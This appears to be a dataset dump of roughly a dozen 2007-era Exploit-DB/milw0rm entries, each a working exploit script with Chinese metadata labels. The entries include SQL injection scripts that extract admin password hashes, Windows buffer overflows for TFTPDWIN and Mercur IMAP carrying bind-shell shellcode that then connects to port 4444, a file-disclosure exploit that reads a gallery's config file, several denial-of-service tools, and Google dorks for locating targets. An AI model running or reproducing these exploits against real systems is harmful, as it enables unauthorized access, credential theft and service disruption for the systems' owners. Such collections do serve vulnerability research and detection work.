QLWD/code_shield huggingface dataset:
标题: MGB 0.5.4.5 - 'email.php?id' SQL Injection EDB-ID: 3141 CVE: 2007-0354 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-17 漏洞利用脚本: #!/usr/bin/perl
#
##########################################################
# MGB <= 0.5.4.5 Exploit
# Vulnerability found by SlimTim10
# Created By: SlimTim10
# <slimtim10@gmail.com>
##########################################################
# Google dork:
# ( intext:mgb.0.5.. & intext:mopzz ) | intext:mgb.0.5.4..
##########################################################


use IO::Socket::INET;

usage() unless (@ARGV == 2);

$host = $ARGV[0];
$dir = $ARGV[1];

$dir = "\/$dir" if ($dir !~ /^\//);
$dir = "$dir\/" if ($dir !~ /\/$/);
$host =~ s/http:\/\///g;

$path = $dir.'email.php?id=1%20UNION%20SELECT%20null,passwort%20FROM%20mgb_settings%20--';
$socket = IO::Socket::INET->new( Proto => "tcp",
         PeerAddr => "$host",
         PeerPort => "80")
         || die "[-]Connect Failed: could not connect to $host\n";

print "[+]Connecting...\n";
print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $host\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "[+]Connected!\n";

while ($answer = <$socket>) {
  $answer =~ m/Email an&nbsp;(.*?)&nbsp;schreiben/ and $var = $1;
}

if ($var !~ /[\da-f]{32,32}/) {
 print "[-]Exploit failed.";
 exit(0);
}

print "[+]Admin Password: $var\n";
print "[+]Admin Link: http://$host".$dir."admin.php?sid=$var\n";

sub usage {
    print "\n" . "=|=-" x 14 . "=|=";
    print q(
]                                                         [
[       MGB <= 0.5.4.5 Remote SQL Injection Exploit       ]
[                Tested on MGB <= 0.5.4.5                 ]
[       Created by: SlimTim10 <slimtim10@gmail.com>       ]
]                                                         [
);
    print "=|=-" x 14 . "=|=\n\n";
    print "\tUsage: $0 [HOST] [PATH]\n";
    print "\tEx: $0 www.host.com /guestbook/\n";
    print "\tEx: $0 host.com mgb";
    print "\n\n"."`^" x 29 . "`\n";
    exit(0);
}

# milw0rm.com [2007-01-17] URL: https://www.exploit-db.com/exploits/3141
标题: CCRP Folder Treeview Control (ccrpftv6.ocx) - IE Denial of Service EDB-ID: 3142 CVE: 2007-0356 类型: DOS 平台: WINDOWS 发布日期: 2007-01-17 漏洞利用脚本: <!--
-------------------------------------------------------------------------------
CCRP Folder Treeview Control (ccrpftv6.ocx) Internet Explorer Denial of Service
author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
-------------------------------------------------------------------------------
-->

<html>
<object classid='clsid:19B7F2D6-1610-11D3-BF30-1AF820524153' id='CCRP' ></object>
<script language='vbscript'>

argCount = 1

arg1=String(2000000, "A")

CCRP.RootFolder = arg1

</script>

<script language='javascript'>
 document.location.reload()
</script>

# milw0rm.com [2007-01-17] URL: https://www.exploit-db.com/exploits/3142
标题: Colloquy 2.1.3545 - 'INVITE' Format String Denial of Service EDB-ID: 3139 CVE: 2007-0344 类型: DOS 平台: OSX 发布日期: 2007-01-17 漏洞利用脚本: #!/usr/bin/ruby
# (c) Copyright 2006 Lance M. Havok <lmh@info-pull.com>
#
# Makes use of the Colloquy INVITE format string vulnerability.
#

require 'socket'

target_channel  = (ARGV[0] || "#whatever")
target_server   = (ARGV[1] || "irc.server.org")
target_port     = (ARGV[2] || 6667)

rand_nick       = "spongebo"
channel_joined  = false
ready_to_go     = false
abuse_attempts  = 2
chan_fmtstring  = ("#%n%n%n%n") # develop payload when feeling like it.
target_furries = []

irc_socket = TCPSocket.new(target_server, target_port.to_i)

irc_socket.print "USER #{rand_nick} localhost localhost r\n"
irc_socket.print "NICK #{rand_nick}\r\n"
while true
  s = irc_socket.gets
  case s.strip
    when /^PING :(.+)$/i
      puts "++ PING..."
      irc_socket.send "PONG :#{$1}\n", 0
      puts "++ PONG."
    when /^:(.+?)!(.+?)@(.+?)\sPRIVMSG\s.+\s:[\001]PING (.+)[\001]$/i
      puts "++ CTCP PING from #{$1}!#{$2}@#{$3}"
      irc_socket.send "NOTICE #{$1} :\001PING #{$4}\001\n", 0
    when /^:(.+?)!(.+?)@(.+?)\sPRIVMSG\s.+\s:[\001]VERSION[\001]$/i
      puts "++ CTCP VERSION from #{$1}!#{$2}@#{$3}"
      irc_socket.send "NOTICE #{$1} :\001VERSION Unabomber v0.011\001\n", 0
    when /n=(.+) (.+) (.+) (.+) (.+) (.*)$/i
      nickarr = s.scan(/n=(.+) (.+) (.+) (.+) (.+) (.*)/).flatten

      if nickarr.size > 3
        if nickarr[2].size > 2 and nickarr[2] != target_server
          nickarr = nickarr[2]
        elsif nickarr[1].size > 2 and nickarr[1] != target_server
          nickarr = nickarr[1]
        elsif nickarr[3].size > 2 and nickarr[3] != target_server
          nickarr = nickarr[3]
        end
        
        target_furries << nickarr
      end
    else
      unless channel_joined
        #irc_socket.send "JOIN #{target_channel}\n", 0 (uncomment to join channel)
        irc_socket.send "JOIN #{chan_fmtstring}\n", 0
        channel_joined = true
      end
      
      if channel_joined and abuse_attempts != 0
        irc_socket.send "WHO #{target_channel}\n", 0
        abuse_attempts -= 1
      end

      # we need to throttle the pwnage or server will kick our ass
      if target_furries.size > 1
        target_furries.each do |zealot|
          puts "++ Pwning #{zealot}"
          irc_socket.send "INVITE #{zealot} #{chan_fmtstring}\n", 0
          sleep 1
        end
      end
  end
end

# milw0rm.com [2007-01-17] URL: https://www.exploit-db.com/exploits/3139
标题: ProSysInfo TFTP Server TFTPDWIN 0.4.2 - Remote Buffer Overflow (1) EDB-ID: 3132 CVE: 2006-4948 类型: REMOTE 平台: WINDOWS 发布日期: 2007-01-15 漏洞利用脚本: #!/usr/bin/perl -w
use IO::Socket;

if(!($ARGV[1]))
{
 print "Usage: tftpdwin-0-4-2.pl <target host> <port>\n\n";
 exit;
}

$victim = IO::Socket::INET->new(Proto=>'udp',
                                PeerAddr=>$ARGV[0],
                                PeerPort=>$ARGV[1])
                            or die "Cannot connect to $ARGV[0] sulla porta $ARGV[1]";

my $nop0="\x90"x15;

#8BC3           MOV EAX,EBX
#66:05 1201     ADD AX,112
#50             PUSH EAX
#C3             RETN

my $asm="\x8b\xc3\x66\x05\x12\x01\x50\xc3";

my $nop="\x90"x57;

my $nop1="\x90"x7;

my $eip="\x42\xfb\x61\x40";# pop ebp,ret in tftpd.exe
#my $eip="B"x4;

#A binary translation of NGS Writing Small Shellcode by Dafydd Stuttard with only two little differences
#1)bind port, in this exploit is 4444 in the original shellcode was 6666
#2)4 bytes added to the shellcode in order not to see the window of cmd.exe on remote host
$shellcode = 
"\x59\x81\xc9\xd3\x62\x30\x20\x41\x43\x4d\x64".
"\x64\x99\x96\x8D\x7E\xE8\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C".
"\x8B\x09\x8B\x69\x08\xB6\x03\x2B\xE2\x66\xBA\x33\x32\x52\x68\x77".
"\x73\x32\x5F\x54\xAC\x3C\xD3\x75\x06\x95\xFF\x57\xF4\x95\x57\x60".
"\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF".
"\x47\x8B\x34\xBB\x03\xF5\x99\xAC\x34\x71\x2A\xD0\x3C\x71\x75\xF7".
"\x3A\x54\x24\x1C\x75\xEA\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B".
"\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3B\xF7\x75\xB4".
"\x5E\x54\x6A\x02\xAD\xFF\xD0\x88\x46\x13\x8D\x48\x30\x8B\xFC\xF3".
"\xAB\x40\x50\x40\x50\xAD\xFF\xD0\x95\xB8\x02\xFF\x11\x5c\x32\xE4".
"\x50\x54\x55\xAD\xFF\xD0\x85\xC0\x74\xF8\xFE\x44\x24\x2D\xFE\x44".
"\x24\x2c\x83\xEF\x6C\xAB\xAB\xAB\x58\x54\x54\x50\x50\x50\x54\x50".
"\x50\x56\x50\xFF\x56\xE4\xFF\x56\xE8";

$exploit = "\x00\x01" . $nop0 .$asm.$nop. $shellcode. $nop1 .$eip. "\x00\x6e\x65\x74\x61\x73\x63\x69\x69\x00";

print $victim $exploit;

print " + Malicious request sent ...\n";

sleep(2);

print "Done.\n";

close($victim);
$host = $ARGV[0];
print " + connect to 4444 port of $host ...\n";
sleep(3);
system("telnet $host 4444");
exit;

# milw0rm.com [2007-01-15] URL: https://www.exploit-db.com/exploits/3132
标题: Mercur Messaging 2005 - IMAP Remote Buffer Overflow EDB-ID: 3133 CVE: 2006-1255 类型: REMOTE 平台: WINDOWS 发布日期: 2007-01-15 漏洞利用脚本: #!/bin/perl
# tested on win2k server SP4 English
# ATTENTION! If you have an another valid account you must change the offsets this is only a poc
#

use IO::Socket::INET;

my $host = shift(@ARGV);
my $port = 143;
my $reply;
my $request;
my $user = "test";
my $pass = "test";

my $nop = "\x90"x8;

my $nop1 = "\x90"x20;

my $ret = "\x42\xb2\xc1\x40";

#my $ret = "\x42\x42\x42\x42"; #call edi in mcrimap4.exe

my $asm="\x8b\xc7\x83\xc0\x23\x50\xc3";

# asm is a binary translation of these assembly instructions;eax now have the correct memory address for shellcode
#
# 8BC7           MOV EAX,EDI
# 83C0 23        ADD EAX,23
# 50             PUSH EAX                                
# C3             RETN




#A binary translation of NGS Writing Small Shellcode by Dafydd Stuttard with only two little differences
#1)bind port, in this exploit is 4444 in the original shellcode was 6666
#2)4 bytes added to the shellcode in order not to see the window of cmd.exe on remote host


my $shellcode = 
"\x59\x81\xc9\xd3\x62\x30\x20\x41\x43\x4d\x64".
"\x64\x99\x96\x8D\x7E\xE8\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C".
"\x8B\x09\x8B\x69\x08\xB6\x03\x2B\xE2\x66\xBA\x33\x32\x52\x68\x77".
"\x73\x32\x5F\x54\xAC\x3C\xD3\x75\x06\x95\xFF\x57\xF4\x95\x57\x60".
"\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF".
"\x47\x8B\x34\xBB\x03\xF5\x99\xAC\x34\x71\x2A\xD0\x3C\x71\x75\xF7".
"\x3A\x54\x24\x1C\x75\xEA\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B".
"\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3B\xF7\x75\xB4".
"\x5E\x54\x6A\x02\xAD\xFF\xD0\x88\x46\x13\x8D\x48\x30\x8B\xFC\xF3".
"\xAB\x40\x50\x40\x50\xAD\xFF\xD0\x95\xB8\x02\xFF\x11\x5c\x32\xE4".
"\x50\x54\x55\xAD\xFF\xD0\x85\xC0\x74\xF8\xFE\x44\x24\x2D\xFE\x44".
"\x24\x2c\x83\xEF\x6C\xAB\xAB\xAB\x58\x54\x54\x50\x50\x50\x54\x50".
"\x50\x56\x50\xFF\x56\xE4\xFF\x56\xE8";

my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
$socket or die "Cannot connect to host!\n";

recv($socket, $reply, 1024, 0);
print "Response:" . $reply;
$request = "a001 LOGIN $user $pass\r\n";

send $socket, $request, 0;
print "[+] Sent login\n";
recv($socket, $reply, 1024, 0);
print "Response:" . $reply;

$request = " SELECT " . $nop . $asm . $nop1 . $shellcode . $ret ."\r\n";

send $socket, $request, 0;
print "[+] Sent chunk\n";

print " + Connect on port 4444 of $host ...\n";
system("telnet $host 4444");

close $socket;
exit;

# milw0rm.com [2007-01-15] URL: https://www.exploit-db.com/exploits/3133
标题: Twilight WebServer 1.3.3.0 - 'GET' Remote Denial of Service EDB-ID: 3138 CVE: 2003-1318 类型: DOS 平台: WINDOWS 发布日期: 2003-07-07 漏洞利用脚本: # Denial of Service Attack against Twilight Webserver v1.3.3.0
# http://www.twilightutilities.com
# Original author wanted the c code removed.
# /str0ke

use strict;
use IO::Socket;

sub usage
{
    print "Denial of Service Attack against Twilight Webserver v1.3.3.0\n";
    print "Usage: $0 www.example.com port\n";
    exit ();
}

my $host= shift || &usage;
my $port= shift || 80;

my $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => 'tcp') or die("Connect issue");

# pretty close to the output of the c code.
print $sock "GET" . "A" x 1049 . "\r\n";

# milw0rm.com [2003-07-07] URL: https://www.exploit-db.com/exploits/3138
标题: Apple Mac OSX 10.4.8 - AppleTalk 'ATPsndrsp()' Heap Buffer Overflow (PoC) EDB-ID: 3130 CVE: 2007-0236 类型: DOS 平台: OSX 发布日期: 2007-01-14 漏洞利用脚本: /* proof of concept for moab-14-01-2007
 * Copyright (c) 2006, LMH <lmh [at] infopull.com>
 * Shout outs to: icer, kf, ilja, hd, et al.
 *
 * free feedback samples for public consumption:
 *
 * "the panic() function takes a string for the reason the panic
 * occurred. As you can see from the above, the reason us due to the
 * fact the buffer size is absurd. The system caught this absurdity and
 * handled it by calling panic().
 * In other words, not capable of executing arbitrary code."
 * -- Rosyna Keller, talking about allocbuf() failing due to allocation
 * of a negative size buffer, caused by a simple integer overflow.
 *
 *
 * ">LMH claims #10 leads to "potential arbitrary code execution." That's
 * >not good enough where I come from. Either the arbitrary code executes,
 * >or it doesn't. I may be talking thru my elbow, but I suggest the
 * >absence of a working example of "arbitrary code execution" is that we
 * >have caused a kernel panic, and stack based execution ceases."
 * -- dinornis, stack based haxor in training.
 *
 */

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdarg.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/sockio.h>
#include <netat/appletalk.h>

int main(int argc, char **argv) {
        int fd, retv, i;
  unsigned int a, b;
  char *powder;

        if ((fd = socket(AF_APPLETALK, SOCK_RAW, 0)) < 0)
                exit(1);
  
  powder = malloc(6000);
  memset(powder, 0x41, 5999);

  for (i=0; i < 7000; i++) {
   a = strlen(powder) - i;
   b = i;
   printf("powder@%p a=%u b=%u\n", powder, a, b);
   retv = ATPsndrsp(fd, (unsigned char *)powder, a, b);
  }
  
        close(fd);
  free(powder); // won't reach this unless appletalk is disabled
  return 0;
}

// milw0rm.com [2007-01-14] URL: https://www.exploit-db.com/exploits/3130
标题: KarjaSoft Sami FTP Server 2.0.2 - USER/PASS Remote Buffer Overflow (PoC) EDB-ID: 3127 CVE: 2006-0441 类型: DOS 平台: WINDOWS 发布日期: 2007-01-14 漏洞利用脚本: /************************************************************************
*KarjaSoft Sami FTP Server 2.0.2 USER/PASS buffer overflow              *
*                                                                       *
*Sending a long USER / PASS request to server triggers the vulnerability*
*EAX and EDX are owned leading to code execution                        *
*This is only a POC                                                     *
*Thanks to rewterz and Muhammad Ahmed Siddiqui for discovery            *
*                                                                       *
*Usage: sami.exe ip port                                                *
*                                                                       *
*Coded by Marsu <Marsupilamipowa@hotmail.fr>                            *
************************************************************************/

#include "winsock2.h"
#include "stdio.h"
#include "stdlib.h"
#pragma comment(lib, "ws2_32.lib")

int main(int argc, char* argv[])
{
 struct hostent *he;
 struct sockaddr_in sock_addr;
 WSADATA wsa;
 int ftpsock;
 char recvbuff[1024];
 char evilbuff[1024];
 int buflen=600;// 650 will kill the app. 600 just call the debugger

 if (argc!=3)
 {
  printf("[+] Usage: %s <ip> <port>\n",argv[0]);
  return 1;
 }
 WSACleanup();
 WSAStartup(MAKEWORD(2,0),&wsa);

 printf("[+] Connecting to %s:%s ... ",argv[1],argv[2]);
 if ((he=gethostbyname(argv[1])) == NULL) {
  printf("Failed\n[-] Could not init gethostbyname\n");
  return 1;
 }
 if ((ftpsock = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
  printf("Failed\n[-] Socket error\n");
  return 1;
 }

 sock_addr.sin_family = PF_INET;
 sock_addr.sin_port = htons(atoi(argv[2]));
 sock_addr.sin_addr = *((struct in_addr *)he->h_addr);
 memset(&(sock_addr.sin_zero), '\0', 8);
 if (connect(ftpsock, (struct sockaddr *)&sock_addr, sizeof(struct sockaddr)) == -1) {
  printf("Failed\n[-] Sorry, cannot connect to %s:%s. Error: %i\n", argv[1],argv[2],WSAGetLastError());
  return 1;
 }
 printf("OK\n");
 memset(recvbuff,'\0',1024);
 recv(ftpsock, recvbuff, 1024, 0);

 printf("[+] Building payload ... ");
 memset(evilbuff,'A',buflen);
 memset(evilbuff+585,'B',4); //eax and edx will be 42424262
 memcpy(evilbuff,"USER ",5);
 memcpy(evilbuff+buflen,"\r\n\0",3);
 printf("OK\n[+] Sending USER ... ");
 if (send(ftpsock,evilbuff,strlen(evilbuff),0)==-1) {
  printf("Failed\n[-] Could not send\n");
  return 1;
 }
 printf("OK\n");
 memset(recvbuff,'\0',1024);
 recv(ftpsock, recvbuff, 1024, 0);

 memcpy(evilbuff,"PASS ",5);
 printf("[+] Sending PASS ... ");
 if (send(ftpsock,evilbuff,strlen(evilbuff),0)==-1) {
  printf("Failed\n[-] Could not send\n");
  return 1;
 }
 printf("OK\n");
 recv(ftpsock, recvbuff, 1024, 0);

 printf("[+] Host should be down\n");
 return 0;
}

// milw0rm.com [2007-01-14] URL: https://www.exploit-db.com/exploits/3127
标题: Okul Web Otomasyon Sistemi 4.0.1 - SQL Injection EDB-ID: 3135 CVE: 2007-0305 类型: WEBAPPS 平台: ASP 发布日期: 2007-01-15 漏洞利用脚本: -------------------------------------------------------------------------------------------------------------------
AYYILDIZ.ORG PreSents...

 
Script: Okul Web Otomasyon Sistemi
Script Download: http://www.aspindir.com/Goster/3822
Contact: ilker Kandemir <ilkerkandemir[at]mynet.com>
 
DORK: inurl:etkinlikbak.asp
-------------------------------------------------------------------------------------------------------------------
Exploit:  etkinlikbak.asp?id=-1%20union%20select%200,editor,sifre,3,4,5%20from%20editor
-------------------------------------------------------------------------------------------------------------------
Editor Panel: editor_gir.asp
-------------------------------------------------------------------------------------------------------------------
 
Tnx:H0tturk,Dr.Max Virus,,PcDelisi,CodeR,Dumenci
Special Tnx:Asianeagle, AYYILDIZ.ORG

# milw0rm.com [2007-01-15] URL: https://www.exploit-db.com/exploits/3135
标题: WFTPD Pro Server 3.25 - Site ADMN Remote Denial of Service EDB-ID: 3126 CVE: 2007-0311 类型: DOS 平台: WINDOWS 发布日期: 2007-01-14 漏洞利用脚本: /************************************************************************
*WFTPD server <= 3.25 SITE ADMN DoS                                     *
*                                                                       *
*Sending command SITE ADMN + \32 makes server BOOM                      *
*                                                                       *
*usage: wftpd_dos.exe ip port user pass                                 *
*                                                                       *
*Coded by Marsu <Marsupilamipowa@hotmail.fr>                            *
************************************************************************/

#include "winsock2.h"
#include "stdio.h"
#include "stdlib.h"
#pragma comment(lib, "ws2_32.lib")

int main(int argc, char* argv[])
{
 struct hostent *he;
 struct sockaddr_in sock_addr;
 WSADATA wsa;
 int ftpsock;
 char recvbuff[1024];
 char evilbuff[100];
 int buflen=100;

 if (argc!=5)
 {
  printf("[+] Usage: %s <ip> <port> <user> <pass>\n",argv[0]);
  return 1;
 }
 WSACleanup();
 WSAStartup(MAKEWORD(2,0),&wsa);

 printf("[+] Connecting to %s:%s ... ",argv[1],argv[2]);
 if ((he=gethostbyname(argv[1])) == NULL) {
  printf("Failed\n[-] Could not init gethostbyname\n");
  return 1;
 }
 if ((ftpsock = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
  printf("Failed\n[-] Socket error\n");
  return 1;
 }

 sock_addr.sin_family = PF_INET;
 sock_addr.sin_port = htons(atoi(argv[2]));
 sock_addr.sin_addr = *((struct in_addr *)he->h_addr);
 memset(&(sock_addr.sin_zero), '\0', 8);
 if (connect(ftpsock, (struct sockaddr *)&sock_addr, sizeof(struct sockaddr)) == -1) {
  printf("Failed\n[-] Sorry, cannot connect to %s:%s. Error: %i\n", argv[1],argv[2],WSAGetLastError());
  return 1;
 }
 printf("OK\n");
 memset(recvbuff,'\0',1024);
 recv(ftpsock, recvbuff, 1024, 0);

 memset(evilbuff,'\0',buflen);
 memcpy(evilbuff,"USER ",5);
 memcpy(evilbuff+5,argv[3],strlen(argv[3]));
 memcpy(evilbuff+5+strlen(argv[3]),"\r\n\0",3);
 printf("[+] Sending USER ... ");
 if (send(ftpsock,evilbuff,strlen(evilbuff),0)==-1) {
  printf("Failed\n[-] Could not send\n");
  return 1;
 }
 printf("OK\n");
 memset(recvbuff,'\0',1024);
 recv(ftpsock, recvbuff, 1024, 0);

 memset(evilbuff,'\0',buflen);
 memcpy(evilbuff,"PASS ",5);
 memcpy(evilbuff+5,argv[4],strlen(argv[4]));
 memcpy(evilbuff+5+strlen(argv[4]),"\r\n\0",3);

 printf("[+] Sending PASS ... ");
 if (send(ftpsock,evilbuff,strlen(evilbuff),0)==-1) {
  printf("Failed\n[-] Could not send\n");
  return 1;
 }
 printf("OK\n");
 recv(ftpsock, recvbuff, 1024, 0);

 memset(evilbuff,'\0',buflen);
 memcpy(evilbuff,"SITE ADMN ",10);
 memset(evilbuff+10,32,1);   //this char is powerfull :p
 memcpy(evilbuff+10+1,"\r\n\0",3);

 printf("[+] Sending SITE ADMN ... ");
 if (send(ftpsock,evilbuff,strlen(evilbuff),0)==-1) {
  printf("Failed\n[-] Could not send\n");
  return 1;
 }
 printf("OK\n");

 printf("[+] Host should be down\n");
 return 0;
}

// milw0rm.com [2007-01-14] URL: https://www.exploit-db.com/exploits/3126
标题: JV2 Folder Gallery 3.0 - 'download.php' Remote File Disclosure EDB-ID: 3125 CVE: 2007-0329 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-14 漏洞利用脚本: /*
Script Name  :JV2 Folder Gallery
Script site  :www.jv2.net

Discovered by    :SaO 
Exploit Coded by :PeTrO 
Credits To soulreaver,Kuz3y

Compile: Visual C++ or DevC++ 
         

*/

#include <stdio.h>
#include <string.h>
#include <winsock.h>
#pragma comment(lib,"ws2_32.lib")

int main(int argc, char *argv[])
{

char gelenveri[1000];
char sendCommand[1000];
int i=0,sayac=0;

WSADATA wsdata;
SOCKET s;
struct hostent *hn;
struct sockaddr_in karsi_addr;
WSAStartup(MAKEWORD(2,0),&wsdata);



if(argc!=3)
{ 
     printf("\t**************************************************************\n"
            "\t*                                                            *\n"
            "\t*                   JV2 Folder Gallery                       *\n"                         
            "\t*        Remote Admin uName and Pass. Exploit by PeTrO       *\n"
            "\t*                                                            *\n"
            "\t*    Usage:exploit targetSite [GalleryPath]                  *\n"
            "\t*    Example:exploit localhost /gallery/                     *\n"
            "\t*                                                            *\n"
            "\t*    Discovered by    :SaO                                   *\n"
            "\t*    Exploit Coded by :PeTrO                                 *\n"
            "\t**************************************************************\n");
     
     exit(1);
}else{
      hn=gethostbyname(argv[1]);
     }

strcpy(sendCommand,"GET ");
strcat(sendCommand,argv[2]);
strcat(sendCommand,"download.php?file=config/gallerysetup.php \n\n");


printf("\n[+]Connecting....");
karsi_addr.sin_family = AF_INET;
karsi_addr.sin_port = htons(80);
karsi_addr.sin_addr =*((struct in_addr *)hn->h_addr);
memset(&(karsi_addr.sin_zero),'\0', 8);
if((s=socket(AF_INET, SOCK_STREAM, 0))==-1 ) //create a socket
{
    printf("\n[-]Socket Error");
    exit(-1);
}

if((connect(s,(struct sockaddr *)&karsi_addr,sizeof(struct sockaddr)))==-1)//connect server
{
    printf("\n[-]Connecting Error");
    exit(-1);
}

printf("\n[+]Sending command\n");
if((send(s,sendCommand,strlen(sendCommand),0))==-1)
{
    printf("\n[-]Sending Error");
    exit(-1);
}

if((recv(s,gelenveri,1000,0))==-1)
{
     printf("\n[-]Receive Error");
     exit(-1);
}

FILE *fp;

fp=fopen("data.txt","w");

for(i=0;sayac!=2;i++)
{
   if(gelenveri[i]==59) sayac++;
   
   printf("%c",gelenveri[i]);
}   
   
fprintf(fp,"%s",gelenveri);
   
WSACleanup();
return 0;
}

// milw0rm.com [2007-01-14] URL: https://www.exploit-db.com/exploits/3125